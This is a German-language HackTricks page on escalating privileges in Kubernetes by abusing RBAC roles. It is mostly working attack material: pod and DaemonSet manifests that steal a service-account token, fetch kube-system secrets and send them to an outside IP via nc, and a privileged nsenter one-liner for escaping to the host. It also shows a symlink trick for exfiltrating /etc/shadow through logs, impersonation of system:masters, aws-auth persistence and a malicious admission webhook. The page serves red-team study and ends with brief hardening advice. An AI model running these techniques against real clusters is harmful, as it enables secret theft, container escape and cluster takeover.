Abusing Roles/ClusterRoles in Kubernetes

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Hier finden Sie einige potenziell gefährliche Rollen- und ClusterRoles-Konfigurationen. Denken Sie daran, dass Sie alle unterstützten Ressourcen mit kubectl api-resources abrufen können.

Privilege Escalation

Als die Kunst, Zugriff auf einen anderen Hauptbenutzer innerhalb des Clusters mit unterschiedlichen Berechtigungen (innerhalb des Kubernetes-Clusters oder zu externen Clouds) zu erhalten, gibt es in Kubernetes im Wesentlichen 4 Haupttechniken zur Eskalation von Berechtigungen:

  • Die Fähigkeit, andere Benutzer/Gruppen/SAs mit besseren Berechtigungen zu impersonieren innerhalb des Kubernetes-Clusters oder zu externen Clouds

  • Die Fähigkeit, Pods zu erstellen/zu patchen/auszuführen, in denen Sie SAs finden oder anhängen können mit besseren Berechtigungen innerhalb des Kubernetes-Clusters oder zu externen Clouds

  • Die Fähigkeit, Geheimnisse zu lesen, da die Tokens der SAs als Geheimnisse gespeichert sind

  • Die Fähigkeit, aus einem Container auf den Knoten zu entkommen, wo Sie alle Geheimnisse der in dem Knoten ausgeführten Container, die Anmeldeinformationen des Knotens und die Berechtigungen des Knotens innerhalb der Cloud, in der er ausgeführt wird (falls vorhanden), stehlen können

  • Eine fünfte Technik, die erwähnenswert ist, ist die Fähigkeit, Port-Forward in einem Pod auszuführen, da Sie möglicherweise auf interessante Ressourcen innerhalb dieses Pods zugreifen können.

Zugriff auf jede Ressource oder jedes Verb (Wildcard)

Das Wildcard (*) gibt Berechtigungen über jede Ressource mit jedem Verb. Es wird von Admins verwendet. Innerhalb eines ClusterRoles bedeutet dies, dass ein Angreifer auf jeden Namespace im Cluster zugreifen könnte.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Zugriff auf beliebige Ressourcen mit einem bestimmten Verb

In RBAC bergen bestimmte Berechtigungen erhebliche Risiken:

  1. create: Gewährt die Möglichkeit, beliebige Cluster-Ressourcen zu erstellen und birgt das Risiko von Privilegieneskalation.

  2. list: Ermöglicht das Auflisten aller Ressourcen und kann potenziell sensiblen Daten preisgeben.

  3. get: Erlaubt den Zugriff auf Secrets von Service-Accounts und stellt eine Sicherheitsbedrohung dar.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod erstellen - Token stehlen

Ein Angreifer mit den Berechtigungen zum Erstellen eines Pods könnte einem privilegierten Service Account in den Pod anhängen und das Token stehlen, um sich als den Service Account auszugeben. Dadurch könnten Berechtigungen effektiv eskaliert werden.

Beispiel eines Pods, der das Token des bootstrap-signer Service Accounts stehlen und an den Angreifer senden wird:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Erstellen & Entkommen

Die folgenden Punkte zeigen alle Berechtigungen, die ein Container haben kann:

  • Privilegierter Zugriff (Deaktivierung von Schutzmaßnahmen und Festlegung von Fähigkeiten)

  • Deaktivierung der Namespaces hostIPC und hostPid, die zur Eskalation von Berechtigungen beitragen können

  • Deaktivierung des hostNetwork-Namespaces, der Zugriff ermöglicht, um Cloud-Berechtigungen zu stehlen und besseren Zugriff auf Netzwerke zu erhalten

  • Einbinden von hosts / innerhalb des Containers

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Erstellen Sie das Pod mit:

kubectl --token $token create -f mount_root.yaml

Ein-Liner aus diesem Tweet und mit einigen Ergänzungen:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Tarnung

Sie möchten wahrscheinlich noch unauffälliger sein, auf den folgenden Seiten können Sie sehen, auf welche Ressourcen Sie zugreifen könnten, wenn Sie einen Pod erstellen, der nur einige der zuvor genannten Berechtigungen aktiviert:

  • Privileged + hostPID

  • Nur Privileged

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Beispiele, wie man die zuvor genannten privilegierten Pod-Konfigurationen erstellen/missbrauchen kann, finden Sie unter https://github.com/BishopFox/badPods

Pod erstellen - In die Cloud wechseln

Wenn Sie einen Pod erstellen können (und optional ein Service-Konto), könnten Sie in der Lage sein, Berechtigungen in der Cloud-Umgebung zu erhalten, indem Sie Cloud-Rollen einem Pod oder einem Service-Konto zuweisen und dann darauf zugreifen. Darüber hinaus können Sie, wenn Sie einen Pod mit dem Host-Netzwerk-Namensraum erstellen können, die IAM-Rolle der Knoten-Instanz stehlen.

Weitere Informationen finden Sie unter:

pagePod Escape Privileges

Erstellen/Patchen von Bereitstellungen, Daemonsets, Statefulsets, Replikationscontrollern, Replikasets, Jobs und Cronjobs

Es ist möglich, diese Berechtigungen zu missbrauchen, um einen neuen Pod zu erstellen und Berechtigungen wie im vorherigen Beispiel zu erhalten.

Das folgende YAML erstellt ein Daemonset und schmuggelt das Token des SA in den Pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec ist eine Ressource in Kubernetes, die zum Ausführen von Befehlen in einer Shell innerhalb eines Pods verwendet wird. Dies ermöglicht es, Befehle innerhalb der Container auszuführen oder eine Shell zu öffnen.

Daher ist es möglich, in einen Pod einzudringen und das Token des SA zu stehlen, oder in einen privilegierten Pod einzutreten, auf den Knoten zu entkommen und alle Tokens der Pods im Knoten zu stehlen und den Knoten zu (miss)brauchen:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Diese Berechtigung ermöglicht es, einen lokalen Port auf einen Port im angegebenen Pod weiterzuleiten. Dies soll es ermöglichen, Anwendungen, die in einem Pod ausgeführt werden, einfach zu debuggen, aber ein Angreifer könnte sie missbrauchen, um Zugriff auf interessante (wie DBs) oder anfällige Anwendungen (Webs?) innerhalb eines Pods zu erhalten:

kubectl port-forward pod/mypod 5000:5000

Hosts beschreibbar /var/log/ Escape

Wie in dieser Forschung angegeben, wenn Sie auf ein Pod mit dem hosts /var/log/ Verzeichnis gemountet darauf zugreifen oder ein solches erstellen können, können Sie aus dem Container ausbrechen. Dies liegt im Wesentlichen daran, dass der Kube-API versucht, die Logs eines Containers abzurufen (mit kubectl logs <pod>), indem er die Datei 0.log des Pods über den /logs/ Endpunkt des Kubelet-Dienstes anfordert. Der Kubelet-Dienst stellt den /logs/ Endpunkt bereit, der im Wesentlichen nur das Dateisystem /var/log des Containers freigibt.

Daher könnte ein Angreifer mit Zugriff auf das Schreiben im /var/log/ Verzeichnis des Containers dieses Verhalten auf 2 Arten ausnutzen:

  • Ändern der 0.log Datei seines Containers (normalerweise im Verzeichnis /var/logs/pods/namespace_pod_uid/container/0.log) so dass sie ein Symlink, der auf /etc/shadow zeigt, ist. Dann können Sie beispielsweise die hosts shadow Datei exfiltrieren, indem Sie:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Wenn der Angreifer einen beliebigen Hauptbenutzer mit den Berechtigungen zum Lesen von nodes/log kontrolliert, kann er einfach einen Symlink in /host-mounted/var/log/sym zu / erstellen und beim Zugriff auf https://<gateway>:10250/logs/sym/ wird er die Wurzel des Host-Dateisystems auflisten (das Ändern des Symlinks kann den Zugriff auf Dateien ermöglichen).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Ein Labor und ein automatisierter Exploit finden Sie unter https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Umgehen des Schreibschutzes für readOnly

Wenn Sie Glück haben und die hochprivilegierte Fähigkeit CAP_SYS_ADMIN verfügbar ist, können Sie einfach den Ordner als rw neu einhängen:

mount -o rw,remount /hostlogs/

Umgehung des Schutzes vor hostPath readOnly

Wie in dieser Forschung dargelegt, ist es möglich, den Schutz zu umgehen:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Was dazu gedacht war, Ausbrüche wie die vorherigen zu verhindern, war die Verwendung eines PersistentVolumes und eines PersistentVolumeClaims anstelle eines hostPath-Mounts, um einen Host-Ordner im Container mit Schreibzugriff einzubinden:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Nachahmung privilegierter Konten

Mit einem Benutzer-Nachahmungs Privileg könnte ein Angreifer ein privilegiertes Konto nachahmen.

Verwenden Sie einfach den Parameter --as=<Benutzername> im kubectl-Befehl, um einen Benutzer nachzuahmen, oder --as-group=<Gruppe>, um eine Gruppe nachzuahmen:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Oder verwenden Sie die REST-API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Auflisten von Geheimnissen

Die Berechtigung zum Auflisten von Geheimnissen könnte einem Angreifer tatsächlich ermöglichen, die Geheimnisse zu lesen, indem er auf den REST-API-Endpunkt zugreift:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lesen eines Geheimnisses – Brute-Force-Angriff auf Token-IDs

Ein Angreifer, der im Besitz eines Tokens mit Leseberechtigungen ist, benötigt den genauen Namen des Geheimnisses, um es zu verwenden. Im Gegensatz zu den umfassenderen Auflisten von Geheimnissen-Berechtigungen bestehen jedoch immer noch Schwachstellen. Standarddienstkonten im System können aufgelistet werden, von denen jedes mit einem Geheimnis verbunden ist. Diese Geheimnisse haben eine Namensstruktur: ein statisches Präfix gefolgt von einem zufälligen alphanumerischen Token mit fünf Zeichen (unter Ausschluss bestimmter Zeichen) gemäß dem Quellcode.

Das Token wird aus einem begrenzten 27-Zeichen-Set generiert (bcdfghjklmnpqrstvwxz2456789) anstelle des vollständigen alphanumerischen Bereichs. Diese Einschränkung reduziert die Gesamtanzahl möglicher Kombinationen auf 14.348.907 (27^5). Folglich könnte ein Angreifer in wenigen Stunden einen Brute-Force-Angriff ausführen, um das Token zu erraten, was möglicherweise zu einem Privileg-Eskalation durch den Zugriff auf sensible Dienstkonten führt.

Zertifikatanforderungen signieren

Wenn Sie die Verben create in der Ressource certificatesigningrequests haben (oder zumindest in certificatesigningrequests/nodeClient). Können Sie eine neue CeSR eines neuen Knotens erstellen.

Gemäß der Dokumentation ist es möglich, diese Anfragen automatisch zu genehmigen, sodass Sie in diesem Fall keine zusätzlichen Berechtigungen benötigen. Andernfalls müssten Sie in der Lage sein, die Anfrage zu genehmigen, was ein Update in certificatesigningrequests/approval und approve in signers mit dem Ressourcennamen <signerNameDomain>/<signerNamePath> oder <signerNameDomain>/* bedeutet.

Ein Beispiel für eine Rolle mit allen erforderlichen Berechtigungen ist:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Also, mit der Genehmigung des neuen Knoten-Zertifikats können Sie die speziellen Berechtigungen der Knoten missbrauchen, um Geheimnisse zu stehlen und Privilegien zu eskalieren.

In diesem Beitrag und diesem wird die GKE K8s TLS-Bootstrap-Konfiguration mit automatischer Signierung konfiguriert und missbraucht, um Anmeldeinformationen für einen neuen K8s-Knoten zu generieren und diese dann zu missbrauchen, um Privilegien zu eskalieren, indem Geheimnisse gestohlen werden. Wenn Sie über die genannten Berechtigungen verfügen, könnten Sie dasselbe tun. Beachten Sie, dass das erste Beispiel den Fehler umgeht, der verhindert, dass ein neuer Knoten auf Geheimnisse in Containern zugreifen kann, da ein Knoten nur auf die Geheimnisse von Containern zugreifen kann, die auf ihm eingebunden sind.

Der Weg, dies zu umgehen, besteht einfach darin, Anmeldeinformationen für den Knotennamen zu erstellen, auf dem der Container mit den interessanten Geheimnissen eingebunden ist (aber prüfen Sie einfach, wie es im ersten Beitrag gemacht wird):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth ConfigMaps

Prinzipale, die configmaps im kube-system Namespace auf EKS ändern können (müssen in AWS sein), können Cluster-Admin-Berechtigungen erhalten, indem sie die aws-auth ConfigMap überschreiben. Die benötigten Verben sind update und patch, oder create, wenn die ConfigMap nicht erstellt wurde:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Sie können aws-auth für Persistenz verwenden, um Benutzern aus anderen Konten Zugriff zu gewähren.

Jedoch funktioniert aws --profile other_account eks update-kubeconfig --name <cluster-name> nicht von einem anderen Konto aus. Aber tatsächlich funktioniert aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing, wenn Sie die ARN des Clusters anstelle des Namens angeben. Um kubectl zum Laufen zu bringen, stellen Sie einfach sicher, dass Sie die Kubeconfig des Opfers konfigurieren und in den aws exec-Argumenten --profile other_account_role hinzufügen, damit kubectl das Profil des anderen Kontos verwendet, um das Token zu erhalten und sich mit AWS in Verbindung zu setzen.

Eskalation in GKE

Es gibt 2 Möglichkeiten, K8s-Berechtigungen für GCP-Prinzipale zuzuweisen. In jedem Fall benötigt der Prinzipal auch die Berechtigung container.clusters.get, um Anmeldeinformationen zum Zugriff auf den Cluster zu sammeln, oder Sie müssen Ihre eigene kubectl-Konfigurationsdatei generieren (folgen Sie dem nächsten Link).

Beim Sprechen mit dem K8s-API-Endpunkt wird das GCP-Authentifizierungstoken gesendet. Dann wird GCP über den K8s-API-Endpunkt zuerst überprüfen, ob der Prinzipal (per E-Mail) irgendeinen Zugriff innerhalb des Clusters hat, dann wird überprüft, ob er irgendeinen Zugriff über GCP IAM hat. Wenn eines davon zutrifft, wird er beantwortet. Wenn nicht, wird ein Fehler gemeldet, der darauf hinweist, Berechtigungen über GCP IAM zu erteilen.

Dann ist die erste Methode die Verwendung von GCP IAM, die K8s-Berechtigungen haben ihre entsprechenden GCP IAM-Berechtigungen, und wenn der Prinzipal diese hat, kann er sie verwenden.

pageGCP - Container Privesc

Die zweite Methode besteht darin, K8s-Berechtigungen innerhalb des Clusters dem Benutzer anhand seiner E-Mail zuzuweisen (einschließlich GCP-Servicekonten).

Erstellen von Serviceaccounts-Token

Prinzipale, die TokenRequests erstellen können (serviceaccounts/token) (Informationen von hier).

Ephemeralcontainers

Prinzipale, die pods/ephemeralcontainers update oder patch können Code auf anderen Pods ausführen und potenziell über einen ephemeral Container mit einem privilegierten securityContext auf ihren Knoten ausbrechen.

ValidatingWebhookConfigurations oder MutatingWebhookConfigurations

Prinzipale mit einem der Verben create, update oder patch über validatingwebhookconfigurations oder mutatingwebhookconfigurations könnten in der Lage sein, eine solche Webhook-Konfiguration zu erstellen, um Berechtigungen zu eskalieren.

Für ein Beispiel zu mutatingwebhookconfigurations siehe diesen Abschnitt dieses Beitrags.

Eskalation

Wie Sie im nächsten Abschnitt lesen können: Eingebaute Vorbeugung gegen privilegierte Eskalation, ein Prinzipal kann weder Rollen noch Clusterrollen aktualisieren oder erstellen, ohne selbst diese neuen Berechtigungen zu haben. Es sei denn, er hat das Verb escalate über roles oder clusterroles. Dann kann er neue Rollen und Clusterrollen mit besseren Berechtigungen als die, die er hat, aktualisieren/erstellen.

Knoten-Proxy

Prinzipale mit Zugriff auf die nodes/proxy-Unterressource können über die Kubelet-API Code auf Pods ausführen (gemäß diesem). Weitere Informationen zur Kubelet-Authentifizierung auf dieser Seite:

pageKubelet Authentication & Authorization

Hier finden Sie ein Beispiel, wie Sie RCE autorisiert mit einer Kubelet-API sprechen.

Pods löschen + nicht planbare Knoten

Prinzipale, die Pods löschen können (delete-Verb über Ressource pods), oder Pods evakuieren können (create-Verb über Ressource pods/eviction), oder den Pod-Status ändern können (Zugriff auf pods/status) und Knoten nicht planbar machen können (Zugriff auf nodes/status) oder Knoten löschen können (delete-Verb über Ressource nodes) und die Kontrolle über einen Pod haben, könnten Pods von anderen Knoten stehlen, sodass sie auf dem kompromittierten Knoten ausgeführt werden und der Angreifer die Tokens von diesen Pods stehlen kann.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Dienststatus (CVE-2020-8554)

Prinzipale, die services/status ändern können, können das Feld status.loadBalancer.ingress.ip ausnutzen, um die ungefixte CVE-2020-8554 zu nutzen und MiTM-Angriffe gegen den Cluster zu starten. Die meisten Maßnahmen gegen CVE-2020-8554 verhindern nur ExternalIP-Dienste (gemäß diesem).

Knoten- und Pod-Status

Prinzipale mit update oder patch Berechtigungen über nodes/status oder pods/status könnten Labels ändern, um die durchgesetzten Terminierungsbeschränkungen zu beeinflussen.

Eingebaute Vorbeugung gegen privilegierte Eskalation

Kubernetes verfügt über einen eingebauten Mechanismus zur Verhinderung von privilegierter Eskalation.

Dieses System stellt sicher, dass Benutzer ihre Berechtigungen nicht erhöhen können, indem sie Rollen oder Rollenbindungen ändern. Die Durchsetzung dieser Regel erfolgt auf API-Ebene und bietet einen Schutz, selbst wenn der RBAC-Autorisierer inaktiv ist.

Die Regel besagt, dass ein Benutzer nur eine Rolle erstellen oder aktualisieren kann, wenn er alle Berechtigungen besitzt, die die Rolle umfasst. Darüber hinaus muss der Umfang der vorhandenen Berechtigungen des Benutzers mit dem der Rolle, die er zu erstellen oder zu ändern versucht, übereinstimmen: entweder clusterweit für ClusterRoles oder auf denselben Namespace (oder clusterweit) beschränkt für Roles.

Es gibt eine Ausnahme von der vorherigen Regel. Wenn ein Prinzipal das Verb escalate über roles oder clusterroles hat, kann er die Berechtigungen von Rollen und ClusterRoles erhöhen, auch ohne die Berechtigungen selbst zu besitzen.

Rollenbindungen/ClusterRoleBindings abrufen & ändern

Anscheinend hat diese Technik früher funktioniert, aber laut meinen Tests funktioniert sie nicht mehr aus demselben Grund, der im vorherigen Abschnitt erklärt wurde. Du kannst keine Rollebindungen erstellen/ändern, um dir oder einem anderen SA einige Berechtigungen zu geben, wenn du sie nicht bereits hast.

Die Berechtigung zum Erstellen von Rollenbindungen ermöglicht es einem Benutzer, Rollen an einen Dienstaccount zu binden. Diese Berechtigung kann potenziell zu einer privilegierten Eskalation führen, da es dem Benutzer ermöglicht, Admin-Berechtigungen an einen kompromittierten Dienstaccount zu binden.

Andere Angriffe

Sidecar-Proxy-App

Standardmäßig gibt es keine Verschlüsselung in der Kommunikation zwischen Pods. Gegenseitige Authentifizierung, beidseitig, Pod zu Pod.

Erstellen einer Sidecar-Proxy-App

Erstelle deine .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Bearbeite deine .yaml und füge die auskommentierten Zeilen hinzu:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Siehe die Logs des Proxys:

kubectl logs app -C proxy

Mehr Informationen unter: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Bösartiger Zulassungscontroller

Ein Zulassungscontroller interceptiert Anfragen an den Kubernetes-API-Server vor der Persistenz des Objekts, aber nachdem die Anfrage authentifiziert und autorisiert wurde.

Wenn ein Angreifer es irgendwie schafft, einen Mutationg-Zulassungscontroller einzuschleusen, wird er in der Lage sein, bereits authentifizierte Anfragen zu modifizieren. Dies könnte potenziell zu Privilegienerweiterung führen und häufiger dazu führen, dass er im Cluster bestehen bleibt.

Beispiel von https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Überprüfen Sie den Status, um zu sehen, ob es bereit ist:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Dann bereitstellen eines neuen Pods:

kubectl run nginx --image nginx
kubectl get po -w

Wenn Sie den Fehler ErrImagePull sehen, überprüfen Sie den Bildnamen mit einem der folgenden Abfragen:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Wie Sie im obigen Bild sehen können, haben wir versucht, das Image nginx auszuführen, aber das letztendlich ausgeführte Image ist rewanthtammana/malicious-image. Was ist gerade passiert!!?

Technische Details

Das Skript ./deploy.sh richtet einen mutating webhook admission controller ein, der Anfragen an die Kubernetes-API gemäß den in seinen Konfigurationszeilen festgelegten Änderungen modifiziert und somit die beobachteten Ergebnisse beeinflusst:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Beste Praktiken

Deaktivierung der automatischen Montage von Service Account-Token

  • Pods und Service Accounts: Standardmäßig binden Pods ein Service Account-Token ein. Um die Sicherheit zu erhöhen, ermöglicht Kubernetes die Deaktivierung dieses Automontage-Features.

  • Anwendung: Legen Sie automountServiceAccountToken: false in der Konfiguration von Service Accounts oder Pods fest, beginnend ab Kubernetes-Version 1.6.

Einschränkende Benutzerzuweisung in RoleBindings/ClusterRoleBindings

  • Selektive Einbeziehung: Stellen Sie sicher, dass nur notwendige Benutzer in RoleBindings oder ClusterRoleBindings enthalten sind. Überprüfen Sie regelmäßig und entfernen Sie irrelevante Benutzer, um die Sicherheit zu gewährleisten.

Rollen für bestimmte Namespaces anstelle von Clusterweiten Rollen

  • Rollen vs. ClusterRoles: Verwenden Sie bevorzugt Rollen und RoleBindings für bereichsspezifische Berechtigungen anstelle von ClusterRoles und ClusterRoleBindings, die clusterweit gelten. Dieser Ansatz bietet eine feinere Kontrolle und begrenzt den Umfang der Berechtigungen.

Verwenden Sie automatisierte Tools

Referenzen

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated